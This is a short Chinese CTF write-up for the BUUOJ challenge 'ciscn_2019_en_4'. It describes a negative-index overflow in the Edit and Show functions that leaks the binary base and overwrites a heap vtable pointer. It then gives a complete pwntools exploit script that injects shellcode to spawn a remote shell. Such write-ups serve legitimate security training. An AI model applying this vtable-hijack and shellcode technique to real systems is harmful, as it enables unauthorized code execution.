首先检查一下程序的保护机制
然后,我们用IDA分析一下,主函数里的功能通过对应index的虚表调用,虚表存在在堆里。
Edit功能存在下标溢出,因此可以向上溢出修改虚表指针。
Show功能同理存在溢出,可以读取原来的虚表地址,进而计算出程序的基址。
进而计算出堆指针存放的地址,我们将堆指针的地址-0x18作为虚表地址,这样,当我们再次调用功能1的时候,就会执行heap0。利用8字节shellcode,构造一个read系统调用来输入shellcode主体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context(os='linux',arch='amd64')
sh = remote('node3.buuoj.cn',29251) elf = ELF('./ciscn_2019_en_4')
def add(size): sh.sendlineafter('Your choice:','1') sh.sendlineafter('Money makes you stronger:',str(size))
def edit(index,content): sh.sendlineafter('Your choice:','3') sh.sendlineafter('change Weapon id:',str(index)) sh.sendafter('new Name:',content)
def show(index): sh.sendlineafter('Your choice:','4') sh.sendlineafter('Which Weapon do you want to show?',str(index))
add(1)
shellcode = asm('''cdq xor eax,eax xchg rsi,rdi syscall ''') edit(0,shellcode)
show(-1) sh.recvuntil('Weapon name is:') elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x203DB8 heap_ptr_addr = elf_base + 0x204088 print 'elf_base=',hex(elf_base) print 'heap_ptr_addr=',hex(heap_ptr_addr)
edit(-1,p64(heap_ptr_addr - 0x18))
sh.sendlineafter('Your choice:','1')
sleep(1) payload = 'a'*0x14 + asm(shellcraft.sh()) sh.send(payload)
sh.interactive()
|